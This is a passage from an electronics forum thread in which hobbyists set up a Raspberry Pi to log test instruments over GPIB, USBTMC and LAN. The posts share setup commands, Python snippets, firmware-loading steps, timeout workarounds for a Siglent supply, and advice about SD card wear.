
**** Success on Noobs 1.4.1  - on a Raspi v1  - I disabled devicetree under advanced , but am not sure if it's needed
https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2015-05-12/


uname -a
Linux raspi2 3.18.0-trunk-rpi #1 PREEMPT Debian 3.18.5-1~exp1+rpi19 (2015-08-08) armv6l GNU/Linux

Using my "old recipee"
https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg329067/#msg329067

TIN's: Might be clearer
https://xdevs.com/guide/agilent_gpib_rpi/

Basically install Noobs 1.4.1 then do a : 
1: sudo apt-get update
2: sudo apt-get upgrade
3: reboot
4: sudo apt-get install linux-image-rpi-rpfv   (If you are using newer Raspberry Pi 2, please use linux-image-rpi2-rpfv)
5: reboot
6: sudo apt-get install linux-headers-$(uname -r)

Rest from the recipee

Remember
sudo apt-get install fxload


Kernel stuff to append to /boot/config.txt  (Kernel version dependant , look in /boot for the latest kernel installed)
Code: [Select]
# Set params for "raspbian debian-style kernel" boot
kernel=vmlinuz-3.18.0-trunk-rpi
initramfs initrd.img-3.18.0-trunk-rpi followkernel


Ohh - Seems like the udev "autoload firmware doesn't work"
I had to do the loads manually

******** Load firmware begin ********

lsusb
Bus 001 Device 005: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface

/dev/bus/usb/001/005

#Load fw 2 times , but the id changes after first and second load

fxload -t fx2 -D /dev/bus/usb/001/008 -I /usr/share/usb/agilent_82357a/measat_releaseX1.8.hex
fxload -t fx2 -D /dev/bus/usb/001/009 -I /usr/share/usb/agilent_82357a/measat_releaseX1.8.hex

lsusb after 2'nd load
Bus 001 Device 010: ID 0957:0718 Agilent Technologies, Inc.

sudo gpib_config

If : gpib_config: error while loading shared libraries: libgpib.so.0: cannot open shared object file: No such file or directory
     You missed the : ldconfig


*** From syslog ***
Dec 17 11:43:55 raspi2 kernel: [  713.777579] usb 1-1.2: USB disconnect, device number 10
Dec 17 11:43:55 raspi2 kernel: [  713.778097] agilent_82357a_driver_disconnect: exit
Dec 17 11:43:57 raspi2 kernel: [  715.511199] usb 1-1.2: new high-speed USB device number 11 using dwc_otg
Dec 17 11:43:57 raspi2 kernel: [  715.600619] usb 1-1.2: New USB device found, idVendor=0957, idProduct=0718
Dec 17 11:43:57 raspi2 kernel: [  715.600658] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=5
Dec 17 11:43:57 raspi2 kernel: [  715.600677] usb 1-1.2: Product: 82357B ()
Dec 17 11:43:57 raspi2 kernel: [  715.600694] usb 1-1.2: Manufacturer: Agilent Technologies, Inc.
Dec 17 11:43:57 raspi2 kernel: [  715.600712] usb 1-1.2: SerialNumber: MY49450180
Dec 17 11:43:57 raspi2 kernel: [  715.611862] probe succeeded for path: usb-bcm2708_usb-1.2
Dec 17 11:43:57 raspi2 /etc/hotplug/usb/agilent_82357a: entered for Product: 957/718/0 Device: $devnode Serial: MY.... Devpath: /devices/platform/bcm2708_usb/usb1/1-1/1-1.2
Dec 17 11:50:49 raspi2 kernel: [ 1127.274586] attached to bus interface 0, address 0xd9806800
Dec 17 11:50:49 raspi2 kernel: [ 1127.281251] agilent_82357a_attach: attached


******** Load firmware end ********

Remember to make your user member of the gpib group ,
and put  agilent_82357a in /etc/modules

Hmm .... Seems like i have to do a : sudo chmod 666 /dev/gpib*
Even though i'm a member of the gpib group .. strange


/Bingo

« Last Edit: December 17, 2016, 02:12:12 pm by bingo600 »
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #120 on: December 17, 2016, 11:12:35 am »
Have you tried the 4.x kernel on v1? If not, could you? It might be good to know whether this is a generic issue or just for the newer boards.

A while back I've tried Ubuntu Mate, without much success. I don't remember the details, probably it was my lack of Linux expertise - as if some of the commands didn't work properly. I can give it another try.
Btw, forget the Ubuntu Snappy, it is said to be not working.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #121 on: December 17, 2016, 11:16:55 am »
Have you tried the 4.x kernel on v1? If not, could you? It might be good to know whether this is a generic issue or just for the newer boards.

A while back I've tried Ubuntu Mate, without much success. I don't remember the details, probably it was my lack of Linux expertise - as if some of the commands didn't work properly. I can give it another try.
Btw, forget the Ubuntu Snappy, it is said to be not working.

I did try the latest 4.38 (Jessie) on my v1 yesterday , same problems as on my v3
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #122 on: December 17, 2016, 11:50:08 am »
I think this is a very good idea.  To have a bunch of python scripts in one spot on a raspberry PI.   I hope everyone contributes scripts for their devices that are not implemented yet.  Is PyVisa included in the image?   I'm just working on the Rigol DM3068 stuff.

Dwaine

I have the Rigol DM3068 meter done for LAN connection.   I can test the USB setup too.  How are we doing this.  Separate scripts for each connection type or just have each connection in the python script commented out?

Dwaine

Is there a GIThub that I can do a pull request.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #123 on: December 17, 2016, 12:13:22 pm »
I think this is a very good idea.  To have a bunch of python scripts in one spot on a raspberry PI.   I hope everyone contributes scripts for their devices that are not implemented yet.  Is PyVisa included in the image?   I'm just working on the Rigol DM3068 stuff.

Dwaine

I have the Rigol DM3068 meter done for LAN connection.   I can test the USB setup too.  How are we doing this.  Separate scripts for each connection type or just have each connection in the python script commented out?

Dwaine

Is there a GIThub that I can do a pull request.

Go to the xDevs site and download image
https://xdevs.com/doc/_Images_RPI-DL/
Restore it on SD card. After boot go to the pub/python folder where are multiple scripts.
For test USB connection use this Test_USB.py, you needs to change the USB meter PIV/VID and run script   .


Code: [Select]
# Test USB
import usbtmc
instr =  usbtmc.Instrument("USB::0x0957::0x0a07::INSTR")
print(instr.ask("*IDN?"))

response will be something like this
Code: [Select]
pi@raspberrypi:/pub/python $ sudo python Test_USB.py
Agilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09


For LAN there is Test_LAN.py   example.

Code: [Select]
# Test VXI11
import vxi11
instr = vxi11.Instrument("192.168.0.10")
print(instr.ask("*IDN?"))

you can add as a first line #!/usr/bin/python2
and run script by sudo ./Test_LAN.py
« Last Edit: December 17, 2016, 12:16:42 pm by plesa »
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #124 on: December 17, 2016, 12:23:27 pm »
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 

With some more work on the web server side of things.  This could be really a great setup.  Already enjoying the logging.   
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #125 on: December 17, 2016, 12:37:39 pm »
This Noobs 1.4.1 doesn't boot on my PI3. If you observe, the newer releases (I've checked the 2.1) have files like bcm27*, which seem to correspond to the different hardware versions. The 1.4 has no such files.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #126 on: December 17, 2016, 12:47:49 pm »
This Noobs 1.4.1 doesn't boot on my PI3. If you observe, the newer releases (I've checked the 2.1) have files like bcm27*, which seem to correspond to the different hardware versions. The 1.4 has no such files.

Sigh ....  Sorry about that

A v2 would boot afaik

/Bingo
« Last Edit: December 17, 2016, 01:43:23 pm by bingo600 »
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #127 on: December 17, 2016, 01:52:53 pm »
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 
plesa created this repository:
https://github.com/PlesaEEVBlog/RPi_LogNut
@plesa please accept my pull request for the initial content, so that it doesn't get out of sync for too long.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 
The following users thanked this post: Dwaine

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #128 on: December 17, 2016, 02:45:10 pm »
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 
plesa created this repository:
https://github.com/PlesaEEVBlog/RPi_LogNut
@plesa please accept my pull request for the initial content, so that it doesn't get out of sync for too long.

Ok.  I'll wait until the Initial pull happens and then do my get/pull for the Rigol DM3068. 
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #129 on: December 17, 2016, 03:17:01 pm »
I have not tried the http.server and I would like to see how easy it is to implement.

I just tried the webserver, now I can read the value of my benchtop multimeter which has only RS232, in a webpage and even from the internet, if I would add a NAT rule to my router  :)

https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py

How it looks like (the real version reloads automatically every second) :



Of course, this is just a quick hack. You would not create the web pages in the Python code, but state of the art is probably to use some WebSocket API, serve local static files and then some JavaScript communicates over the WebSocket with JSON requests with the Python script.

I will also do an example web server view for the Rigol DM3068.
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #130 on: December 17, 2016, 04:54:45 pm »
The Rigol DM3068 running on the Raspberry PI logging.  Check it out  Give it an Internet test.....

http://99.232.17.239/DM3068_Logs.html

Dwaine
 
The following users thanked this post: TiN

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #131 on: December 17, 2016, 05:35:29 pm »
Nice :)

plesa

How do you create images? Just simple plain bit-bit clone of SDcard, or there is some tool?
I'd like to make few images too, for DE1-SoC FPGA board running linux-gpib. Got I2C working today with BME280 on it. Next step is GPIO and SPI, so I can control ADCs/DACs as well.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #132 on: December 17, 2016, 06:35:57 pm »
Nice :)

plesa

How do you create images? Just simple plain bit-bit clone of SDcard, or there is some tool?
I'd like to make few images too, for DE1-SoC FPGA board running linux-gpib. Got I2C working today with BME280 on it. Next step is GPIO and SPI, so I can control ADCs/DACs as well.
There are several ways.Resizing It tried but it is too complicated. I used bit clone and compress it by gzip/tar.
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 
plesa created this repository:
https://github.com/PlesaEEVBlog/RPi_LogNut
@plesa please accept my pull request for the initial content, so that it doesn't get out of sync for too long.

OK, I will try tomorrow.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #133 on: December 18, 2016, 07:04:54 am »
Someone here claims to have linux-gpib running w. an agilent on a rpi v3.
http://www.messtechniklabor.de/artikel-h0014-raspberry_pi_3_model_b_mit_linux_gpib_und_kernel_4_1.html

Seems like he has the old a model not the later b adapter.

I did try to build it (1h20m for kernel) , on a kernel 4.4.34 platform. 
Build/boot ok , but same linux-gpib result ... timeout.


One correction though

Where he writes
Quote
#raspberry pi 2/3
KERNEL=kernel7

You need to either do an
Code: [Select]
export KERNEL=kernel7
Or maybe better replace $KERNEL.img on the below line with kernel7.img
sudo scripts/mkknlimg arch/arm/boot/zImage /boot/$KERNEL.img



My startingpoint was NOOBS-1.9 https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2016-03-18/

But i did the distupgrade before build , that lifted the platform to kernel 4.4.34.
Maybe someone can try wo. the distupgrade, where it's platform 4.1.19 i think.

/Bingo
« Last Edit: December 18, 2016, 07:08:27 am by bingo600 »
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #134 on: December 18, 2016, 01:24:22 pm »
Did the procedure on 2016-03-18-raspbian-jessie (4.1.21 kernel), it doesn't work afterwards either.
Actually it seems to work less with this than the v2 image, with that at least the instrument detects that it is being addressed. With this, nothing. It can easily be though, that I did something wrong.
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #135 on: December 18, 2016, 04:35:53 pm »
@FrankBuss

SPD3303 is very slow at handling commands.

You need to put a sleep after the command or it get messed.

I use something like this:

siglent.write("INST CH2")
time.sleep(1)
siglent.write("CH2:VOLT 0")
time.sleep(1)
siglent.write("CH2:CURR 1.3")
time.sleep(1)
siglent.write("OUTP CH2, ON")
time.sleep(1)


you can also lower sleep to 0.1 seconds if you need more speedy setup.
I guess this is the same problem I found out when I use the USBTMC Linux kernel driver on my PC, and might be really a bad firmware on the power supply. I can lower the delay down to 10 ms and it works always. With 5 ms sometimes it doesn't work. So might be safe to wait 20 ms. The instrument itself seems to be fast. I can do a "CH2:VOLT 9" command and 10 ms later a "CH2:VOLT 8" command and it is set to 8 V.

But I still can't read anything reliably. Could you try this on your system?

Code: [Select]
print(siglent.ask("*IDN?"))

Sometimes it shows the device, but most of the time it generates an error: "Operation timed out". I tried to edit /opt/python-usbtmc/build/lib.linux-armv7l-2.7/usbtmc/usbtmc.py and insert a time.sleep(0.1) after line 629 in the ask function, between the write and read, and it looks like it helps a bit, but I'm still getting the timeout error often.

At least writing works with the delay. But would have been nice to get the current reading working, too.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline Karel

  • Super Contributor
  • ***
  • Posts: 2214
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #136 on: December 18, 2016, 05:10:22 pm »
Additional benefit of using the USBTMC kernel driver: you can use it from other programs as well, not just from Python. On my PC I can do this:

echo "*IDN?" > /dev/usbtmc0
cat /dev/usbtmc0

and it answers with

Siglent Technologies,SPD3303,SPD00002130137,1.01.01.01.05,V1.1

(but still with the timeout problem: after printing this line it hangs for about 5 seconds and then it says "cat: /dev/usbtmc0: Connection timed out")

The timeout "problem" isn't a problem at all but just how the usbtmc protocol is implemented.
The cat program keeps on reading till it receives an EOF.
Usbtmc protocol uses a newline character at the end of a message, not an EOF.
Cat ignores the newline character and will continue to ask for more data till the driver timesout which is after 5 seconds.
A program that is written to read from an usbtmc device will stop reading when it detects a newline character in the message.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #137 on: December 18, 2016, 05:25:36 pm »
Guyzz

Dave Penkler (linux-gpib maintainer) , has ansvered my e-mail , and suggests to build linux-gpib w. debugging enabled.
./configure  --enable-driver-debug

He uses latest kernels ie. 4.9 , but only have i386 based machines.

So he lacks a Raspi v3 to debug on.


He'll borrow one

/Bingo
« Last Edit: December 19, 2016, 02:38:08 pm by bingo600 »
 

Offline cdev

  • Super Contributor
  • ***
  • !
  • Posts: 7350
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #138 on: December 18, 2016, 05:46:04 pm »
Two things.

1.) A *logging* platform should definitely log to a real hard drive because the process of logging inherently makes a great many individual writes which will destroy flash memory cards eventually. (For the same reason compiling software on them will, hopefully people know that)

Good practice would be to put the boot OS on the SD card and do all logging - also any compiles, should take place on a real HD which can be a small one. SD cards have improved a lot but this is still good practice. You should also use the real HD for swap.

Set the SD card to "noatime" so that a separate write is not done when files are accessed also. USB SATA enclosures can be had for as little as $5 and a small low current requirement SATA drive is similarly cheap. Two can be used for data redundancy using software RAID.(use a powered USB hub because the RPI can only supply a fairly modest amount of power to power other devices.)

2.) David Taylor has done a lot of research into running NTP on an RPI using a GPS and kernel 1pps to provide an accurate timing reference. (Most people here have probably already seen his web pages I'm sure but worth mentioning anyway as lots of useful info) . I recently saw a link there to this discussion about a small change  which reduces the latency of the onboard USB-based Ethernet. Seems worth looking into.
"What the large print giveth, the small print taketh away."
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #139 on: December 18, 2016, 09:11:40 pm »
The timeout "problem" isn't a problem at all but just how the usbtmc protocol is implemented.
The cat program keeps on reading till it receives an EOF.
Usbtmc protocol uses a newline character at the end of a message, not an EOF.
Cat ignores the newline character and will continue to ask for more data till the driver timesout which is after 5 seconds.
A program that is written to read from an usbtmc device will stop reading when it detects a newline character in the message.
Ok, but why does it work sometime and sometimes not with pyusb? And the USBTMC kernel driver works always, if I use the code from here, but I guess "os.read(self.FILE, 4096)" doesn't wait for EOF, but reads all currently available data. So probably the pyusb implementation has some other problems, in combination with the Siglent instrument, because the HP gear seems to work, probably with the Linux kernel driver, too. So might be a good idea to use the Linux kernel driver instead of the Python implementation, if there are no problems with the HP devices.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #140 on: December 18, 2016, 09:19:51 pm »
1.) A *logging* platform should definitely log to a real hard drive because the process of logging inherently makes a great many individual writes which will destroy flash memory cards eventually. (For the same reason compiling software on them will, hopefully people know that)

Good practice would be to put the boot OS on the SD card and do all logging - also any compiles, should take place on a real HD which can be a small one. SD cards have improved a lot but this is still good practice. You should also use the real HD for swap.

Another idea is to use a network drive. I have a NAS (with RAID0) and copied the /pub directory to it. Then I mounted this directory from my Raspberry Pi, now doing some long time logs for the Batteroo test. But probably not a good idea to use swap over ethernet. Best would be to disable swap and mount the main filesystem read-only, using the rest from the NAS.

Some time ago for another platform I could even load the Linux kernel over network with u-boot, and then even mount the root filesystem over NFS. This is really helpful for developing, because then you don't have any size limitations of the platform and testing new kernel versions is faster, and it can't brick, if you backup the last kernel (and modules).
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #141 on: December 18, 2016, 09:38:18 pm »
1.) A *logging* platform should definitely log to a real hard drive because the process of logging inherently makes a great many individual writes which will destroy flash memory cards eventually. (For the same reason compiling software on them will, hopefully people know that)

Good practice would be to put the boot OS on the SD card and do all logging - also any compiles, should take place on a real HD which can be a small one. SD cards have improved a lot but this is still good practice. You should also use the real HD for swap.

Another idea is to use a network drive. I have a NAS (with RAID0) and copied the /pub directory to it. Then I mounted this directory from my Raspberry Pi, now doing some long time logs for the Batteroo test. But probably not a good idea to use swap over ethernet. Best would be to disable swap and mount the main filesystem read-only, using the rest from the NAS.

Some time ago for another platform I could even load the Linux kernel over network with u-boot, and then even mount the root filesystem over NFS. This is really helpful for developing, because then you don't have any size limitations of the platform and testing new kernel versions is faster, and it can't brick, if you backup the last kernel (and modules).

Raspbian has swap disabled. Booting form network should be possible ( U-Boot on RPi is running ), but it will limit majority of potential users. It will be too difficult for them to setup DHCP and PXE.
I will check the USBTMC kernel implementation. I do not accoutered any issue, but I was using only HP/Agilent and Keysight gear over USB.
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #142 on: December 18, 2016, 09:41:01 pm »
@FrankBuss - or any siglent power supply user

I use following sequence to initialise the thing.

siglent = usbtmc.Instrument("USB::0x0483::0x7540::INSTR")
siglent.clear()
time.sleep(0.1)
siglent.write("*IDN?")
time.sleep(0.1)
print (siglent.read())
time.sleep(0.1)

This works 100% for me, I have a complicate process working for days and programming the V of power supply every second without any problem.
Only when you stop the program sometime the power supply don't work at first connection, in this case just stop python program and start again (or maybe just close USBTMC connection and reopen).

You cannot use ask because (I didn't checked, but I think) ASK is making WRITE and READ one after the other and this will confuse the thing.
So to make it work just use [write, sleep, read] sequence.













@FrankBuss

SPD3303 is very slow at handling commands.

You need to put a sleep after the command or it get messed.

I use something like this:

siglent.write("INST CH2")
time.sleep(1)
siglent.write("CH2:VOLT 0")
time.sleep(1)
siglent.write("CH2:CURR 1.3")
time.sleep(1)
siglent.write("OUTP CH2, ON")
time.sleep(1)


you can also lower sleep to 0.1 seconds if you need more speedy setup.
I guess this is the same problem I found out when I use the USBTMC Linux kernel driver on my PC, and might be really a bad firmware on the power supply. I can lower the delay down to 10 ms and it works always. With 5 ms sometimes it doesn't work. So might be safe to wait 20 ms. The instrument itself seems to be fast. I can do a "CH2:VOLT 9" command and 10 ms later a "CH2:VOLT 8" command and it is set to 8 V.

But I still can't read anything reliably. Could you try this on your system?

Code: [Select]
print(siglent.ask("*IDN?"))

Sometimes it shows the device, but most of the time it generates an error: "Operation timed out". I tried to edit /opt/python-usbtmc/build/lib.linux-armv7l-2.7/usbtmc/usbtmc.py and insert a time.sleep(0.1) after line 629 in the ask function, between the write and read, and it looks like it helps a bit, but I'm still getting the timeout error often.

At least writing works with the delay. But would have been nice to get the current reading working, too.
« Last Edit: December 18, 2016, 09:43:15 pm by mimmus78 »
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #143 on: December 19, 2016, 12:34:08 am »
Ummmm.  I did not use any sleeps in my Rigol DM3068 python script.  Right now I'm letting the USB connection run continuously.   So far no problems with the python USBTMC. 

http://99.232.17.239

Dwaine

 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #144 on: December 19, 2016, 01:02:35 am »
I have a Keysight u1272a meter. Would anyone object if I submitted the python, HTML, web server display for it?

Dwaine
 

Offline cdev

  • Super Contributor
  • ***
  • !
  • Posts: 7350
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #145 on: December 19, 2016, 01:26:46 am »
Okay, I realize this is likely stuff people here already know about. But it cant hurt to remember it.

I wanted to encourage you to consider using a real hard drive on your logger from the start.. You cannot argue with the price of these "Pi Drives" - These hard drives are designed to be used with the Raspberry Pi. They incorporate a USB to SATA converter and an additional USB plug for bringing in additional power.

http://wdlabs.wd.com/category/wd-pidrive/

But if you must use flash memory, one way to optimize logging to SD cards for flash memory longevity is to cache and delay writes for several seconds, then do the writes at the same time, as one. That will reduce the raw number of writes. Of course, then if you lose power you will have lost the last few seconds of writes. A good search term to learn more is "wear leveling".  Another option is doing your writing to an NFS mounted share on another computer.

There is no reason not to simply be careful. You could run a cron job to back up your SD card every few hours.

That said, I usually only hook up a real hard drive to my Raspberry Pis when I want to compile something.

 I usually just use the SD normally and set the options on software to only log the needed data and errors and not all diagnostic messages.  Most pre-built software on Raspbian should use sensible defaults for flash memory, which will be different than the ones used on desktops and laptops.
On programs that write big logs by default, you have to tell them to log less or eventually your SD cards will need replacement. Luckily its usually possible to get most of the data off them.

They get significantly better every year at handling lots of writes. But still there is a huge level of variability in SD card quality. Bunnie Huang has written extensively on this. You might want to check out his web site.

You cant treat an SD card as if its a hard disk or even an SSD.
"What the large print giveth, the small print taketh away."
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #146 on: December 19, 2016, 03:29:56 am »
Ummmm.  I did not use any sleeps in my Rigol DM3068 python script.  Right now I'm letting the USB connection run continuously.   So far no problems with the python USBTMC. 

http://99.232.17.239

Dwaine

I have the KeySight U1272A example completed.   I actually have both the Rigol DM3068 and KeySight U1272A running concurrently taking measurements on the same raspberry PI.  No issue to report.   Both devices are connected by USB...  I wonder how many devices we could hook up to the raspberry pi before it becomes a problem?

Dwaine

 

Offline Karel

  • Super Contributor
  • ***
  • Posts: 2214
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #147 on: December 19, 2016, 07:40:11 am »
Ok, but why does it work sometime and sometimes not with pyusb?

Probably because of

... the pyusb implementation has some other problems, ...


 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #148 on: December 19, 2016, 10:54:42 am »
Ummmm.  I did not use any sleeps in my Rigol DM3068 python script.  Right now I'm letting the USB connection run continuously.   So far no problems with the python USBTMC. 
http://99.232.17.239
Dwaine

This come out from some Siglent firmware developer comment on some support request.
It's not driver but this Siglent power supply firmware that has this problem.
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #149 on: December 19, 2016, 03:48:56 pm »
I think all these companies should invest in the software side of things.  It really does make the hardware less useful when the firmware/software has problems.  I was reading the thread on the Rigol DP832 power supply rebooting during remote controlling and measuring.  It makes the power supply useless for some applications now. 

If they did firmware updates on a monthly or bi-monthly release.  It would help their product lines.

Dwaine
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #150 on: December 19, 2016, 03:54:12 pm »
I have a Keysight u1272a meter. Would anyone object if I submitted the python, HTML, web server display for it?

Dwaine

Frankbuss, I finish the Keysight U1272A example.  Working good. I sent a pull request to add the device.

http://99.232.17.239/U1272A_Logs.html

Dwaine
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #151 on: December 19, 2016, 10:58:00 pm »
Good progress on U1272. I just posted few my scripts on GitHub.Each script has own webpage, do we needs also the webpages or complete mirror of pub folder on RPi?

@Bingo600
Thanks for contacting Dave Penkler. I just buid linux GPIB with debug enabled.
I can ship one RPi3 to him if needed.

Next milestones are:
1. Fix support for 82357B ( clone and genuine)
2. Implement Prologix GPIB 6.0 support and provide examples
3. Kernel support of USBTMC ( pros/cons)
« Last Edit: December 19, 2016, 11:00:56 pm by plesa »
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #152 on: December 20, 2016, 06:31:44 am »
But if you must use flash memory, one way to optimize logging to SD cards for flash memory longevity is to cache and delay writes for several seconds, then do the writes at the same time, as one. That will reduce the raw number of writes. Of course, then if you lose power you will have lost the last few seconds of writes. A good search term to learn more is "wear leveling".  Another option is doing your writing to an NFS mounted share on another computer.
You are right, and there are other problems with SD cards. I was getting "Input / ouput error" when trying to access the SD card (e.g. just an "ls" command) now three times every time after the pi was running for a day. I was logged in with ssh and could still do a "dmesg", which showed this: http://pastebin.com/e4uNYLN2 Looks like some filesystem write failed. Maybe the image could be changed in a way that normally nothing is written on the SD card, like with the access time setting, if not already configured? The logging to the mounted network was still running without problems and after a reboot it worked again. But might be a problem with the power supply as well (I'm running it with an old Apple charger and didn't fix the resettable fuse problem on this device).
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #153 on: December 20, 2016, 09:58:11 am »
Hmm, interestingly 82357B worked here, once. In fact, first time on RPI3, ever.
Took the v2 image, updated and rebuilt kernel then built linux-gpib with debug.

First ibterm with K2000 didn't work, then tried ibterm with K2400, which, surprisingly, did work.
Afterwards ibtest worked for both. Even ibterm with K2000 worked fine.

Code: [Select]
pi@pi3:~ $ sudo ibterm -d 1 -e 0x0a -b 1 -x 1
Attempting to open /dev/gpib0
pad = 1, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800
ibterm>*idn?
ibterm error: Unable to write to device at pad 1

 - EBUS 14: Bus error
ibterm>
ibterm: Done.
pi@pi3:~ $ sudo ibterm -d 24 -e 0x0a -b 1 -x 1
Attempting to open /dev/gpib0
pad = 24, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800
ibterm>*idn?
KEITHLEY INSTRUMENTS INC.,MODEL 2400-C,1234567,C32   Oct  4 2010 14:20:11/A02  /G/H/E
ibterm>
ibterm: Done.

pi@pi3:~ $ sudo ibterm -d 1 -e 0x0a -b 1 -x 1
Attempting to open /dev/gpib0
pad = 1, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800
ibterm>*idn?
KEITHLEY INSTRUMENTS INC.,MODEL 2000,1234567,A19  /A02
ibterm>
ibterm: Done.

After a reboot it doesn't work again. Doesn't matter whether ibtest or ibterm is tried.
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #154 on: December 20, 2016, 10:12:37 am »
@plesa
What's your take on the f2fs? It's a major PITA that you cannot change the fs size.
